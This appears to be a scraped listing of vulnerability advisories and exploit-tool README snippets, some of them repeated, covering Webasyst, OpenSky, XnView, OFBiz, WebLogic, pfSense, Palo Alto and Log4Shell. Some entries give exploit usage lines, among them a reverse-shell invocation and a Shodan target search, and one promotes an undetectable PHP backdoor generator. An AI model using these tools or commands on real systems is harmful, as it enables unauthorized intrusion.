The vulnerability of the platform for creating individual web applications in CRM systems is related to deficiencies in authentication procedures. This allows attackers to bypass existing security mechanisms and gain unauthorized access to protected information.

The vulnerability of the platform for creating individual web applications in CRM systems is related to deficiencies in authentication procedures. Exploiting this vulnerability could allow attackers, operating remotely, to circumvent existing security mechanisms and gain unauthorized access to...

The vulnerability of the Webasyst content management system and the Shop-Script CMS system lies in the lack of measures to protect the SQL query structure, allowing attackers to execute arbitrary SQL code.

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows an attacker operating remotely to execute arbitrary SQL code...

The vulnerability of the Webasyst content management framework and the Shop-Script CMS system lies in the lack of measures to protect the SQL query structure, allowing attackers to execute arbitrary SQL code.

The vulnerability of the Webasyst framework for designing content management systems and the Shop-Script CMS system lies in the lack of protective measures for the SQL query structure. Exploiting this vulnerability allows a malicious actor to execute arbitrary SQL code remotely...

The vulnerability of the OpenSky flight planning and operational management system, related to unlimited loading of dangerous file types, allows a perpetrator to execute arbitrary commands.

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

The vulnerability of the OpenSky flight planning and operational management system, related to unlimited loading of dangerous file types, allows a perpetrator to execute arbitrary commands.

The vulnerability of the OpenSky flight planning and operational management system lies in its ability to load files of a dangerous type without limitation. Exploiting this vulnerability could allow a malicious actor, operating remotely, to execute arbitrary code...

CVE-2024-36104

CVE-2024-36104 声明 本ツールは個人のセキュリティ研究学習のみを目的としています。本ツールの流布、利用によって生じたいかなる直接的または間接的な結果および損失も、使用者本人が責任を負うものとし、ツール作成者は一切の責任を負いません。 version = 18.12.14 NAME: Apache OFBiz - コード実行 USAGE: global options command command options arguments... COMMANDS: help, h コマンド一覧または特定コマンドのヘルプを表示 GLOBAL OPTIONS: --targeturl...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf exim 사용자 및 그룹 생성 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 의존성 설치 sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-dev...

CVE-2026-107125 XnView Classic FLI File heap-based overflow

A flaw has been found in XnView Classic 2.52.5. Impacted is an unknown function of the component FLI File Parser. This manipulation of the argument startingline causes heap-based buffer overflow. Remote exploitation of the attack is possible. Upgrading to version 2.52.6 is recommended to address...

CVE-2026-107125 XnView Classic FLI File heap-based overflow

A flaw has been found in XnView Classic 2.52.5. Impacted is an unknown function of the component FLI File Parser. This manipulation of the argument startingline causes heap-based buffer overflow. Remote exploitation of the attack is possible. Upgrading to version 2.52.6 is recommended to address...

EUVD-2026-94360

A flaw has been found in XnView Classic 2.52.5. Impacted is an unknown function of the component FLI File Parser. This manipulation of the argument startingline causes heap-based buffer overflow. Remote exploitation of the attack is possible. Upgrading to version 2.52.6 is recommended to address...

CVE-2020-14883EXP

CVE-2020-14883EXP WebLogic10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0에 대한 검증 및 활용을 위한 도구입니다. 불법 목적으로 사용하지 마십시오. IP+포트를 입력하면 검증이 시작됩니다 예: 127.0.0.1:7001 원격 XML 명령 실행 지원 10.3.6.0.0 이외의 다른 버전은 두 가지 활용 방식을 제공합니다. 검증 성공 시 명령 모드로 진입합니다. 일괄 검증 성공 시 자동으로 저장됩니다...

CVE-2025-34152

⚠️ CVE-2025-34152 – Shenzhen Aitemi M300 Wi-Fi 중계기 RCE 🚨 개요 Shenzhen Aitemi M300 Wi-Fi 중계기는 인증되지 않은 원격 코드 실행RCE에 영향을 받습니다. 로그인 불필요 장치를 재부팅하지 않음 원격으로 악용 가능 🛠 취약한 버전 버전| 상태 ---|--- 1.0.x| ❌ 취약 1.1.x| ❌ 취약 1.2.x| ❌ 취약 2.0.x| ⚠️ 공급업체 업데이트 확인 💡 해결 방법 공급업체의 최신 펌웨어로 업데이트 관리 인터페이스 접근 제한 LAN 전용 WAN 접근 차단...

CVE-2014-4688

CVE-2014-4688 python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit Log4shell 취약점을 원격으로 식별 및/또는 악용할 수 있는 bash 스크립트입니다. 이 도구는 LDAP 페이로드와 X-Api-Version, User-Agent 및 X-Forwarded-For 헤더를 사용하여 다양한 테스트를 수행합니다. 이 스크립트는 항상 감사 대상 서비스/애플리케이션 소유자의 사전 승인을 받은 후에만 사용하십시오. 의존성: 1. Github에서 사전 구성된 LDAP 서버를 생성합니다: https://github.com/mbechler/marshalsec...

cve-2019-1108

CVE-2019-1108 익스플로잇 CVE-2019-1108 Remote Desktop Protocol Client Information Disclosure Vulnerability Published: 07/09/2019 | Last Updated : 11/19/2019 MITRE CVE-2019-1108 An information disclosure vulnerability exists when the Windows RDP client improperly discloses the contents of its memory. A...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto 파일 쓰기 익스플로잇 이 익스플로잇은 Global Protect URL 인스턴스를 검색하고 CVE-2024-3400을 사용하여 파일 쓰기를 시도합니다 주의해서 사용하세요 교육 목적으로만 제작되었습니다 사용법: chmod +x gp-exploit.sh ./gp-exploit.sh filenametowrite urls.txt Shodan 검색 및 URL 필터링: shodan search --fields ipstr,port 'http.html:"Global...

CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248의 POC 대상 머신에서 모든 명령어 실행 사용법: python poc.py 'http://xxx.com' 'ls /' 피해자 컴퓨터에 사랑을 남기세요 poc.py...

CVE-2019-9766

CVE-2019-9766 최선을 다하겠습니다 CVE 정보 Free MP3 CD Ripper .mp3 파일과 다른 파일 형식 간의 변환기입니다 파일 변환. 버그 NVD에 따르면, vision 2.6에서 버퍼 영역의 스택 기반 오버플로우stack-based overflow가 발견되었습니다. 따라서 이에 대한 PoC를 만들 수 있습니다. 파일 형식을 .mp3로 변경하고 원격으로 공격합니다. 취약 버전 Free MP3 CD Ripper 2.6 환경 공격자: Ubuntu18.04.2lts 피해자: Windows10에...

CVE-2024-9570_D-Link-DIR-619L-bof

CVE-2024-9570D-Link-DIR-619L-bof CVE-2024-9570용 익스플로잇 D-Link DIR-619L B1 2.06에서 취약점이 발견되었으며 치명적critical으로 분류되었습니다. 이 문제의 영향을 받는 것은 /goform/formEasySetTimezone 파일의 formEasySetTimezone 함수입니다. curTime 인수를 조작하면 버퍼 오버플로가 발생합니다. 공격은 원격으로 시작될 수 있습니다. 익스플로잇은 대중에게 공개되었으며 사용될 수 있습니다. 테스트 전용입니다...

Remot3d

Remot3d - 익스플로잇을 위한 쉬운 방법 곧 업데이트 예정 Remot3d - 서버가 PHPHypertext Preprocessor 프로그램을 실행하는 서버를 제어하고 익스플로잇하기 위한 백도어를 생성하는 도구입니다. 난독화된 백도어가 포함되어 있어 일반적으로 FUDFully Undetectable 상태를 유지합니다. 16세 십대가 Shell Script Language일반적으로 BASH로 알려짐로 작성했습니다. 기부 이 프로젝트가 침투 테스트에 도움이 되었고 저를 지원하고 싶다면, 커피 한 잔 사주실 수 있습니다 :...